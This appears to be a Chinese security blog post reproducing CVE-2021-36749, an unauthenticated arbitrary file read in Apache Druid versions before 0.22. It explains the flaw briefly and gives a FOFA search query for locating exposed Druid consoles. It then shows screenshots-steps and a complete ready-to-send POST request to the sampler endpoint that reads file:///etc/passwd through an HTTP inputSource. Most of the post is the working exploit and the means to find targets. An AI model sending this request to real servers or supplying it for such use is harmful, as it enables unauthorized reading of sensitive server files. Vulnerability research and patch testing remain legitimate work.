【CVE-2021-36749】 Apache Druid LoadData 任意文件读取

noob
2022-03-11 / 1 评论 / 244 阅读 / 正在检测是否收录...
漏洞原理

由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证,攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。

影响版本

Apache Druid Version < 0.22

fofa语法

title="Apache Druid"

漏洞复现

主界面进入后位于Load data
l0m0ks92.png
使用HTTP(s)请求,Connect data
l0m0o1pu.png
在URLs后使用file://协议读取文件
l0m0qb0i.png
复现成功

请求包

l0m0vjfv.png

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 478
Origin: 
Connection: close
Referer: xxx.xxx/unified-console.html

{
    "type":"index",
    "spec":{
        "type":"index",
        "ioConfig":{
            "type":"index",
            "inputSource":{
                "type":"http",
                "uris":[
                    "file:///etc/passwd"
                ]
            },
            "inputFormat":{
                "type":"regex",
                "pattern":"(.*)",
                "listDelimiter":
                "56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{
            }
        },
        "tuningConfig":{
            "type":"index"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}
-56

评论 (1)

取消
  1. 头像
    菜鸟
    Windows 10 · Google Chrome

    带带我表情

    回复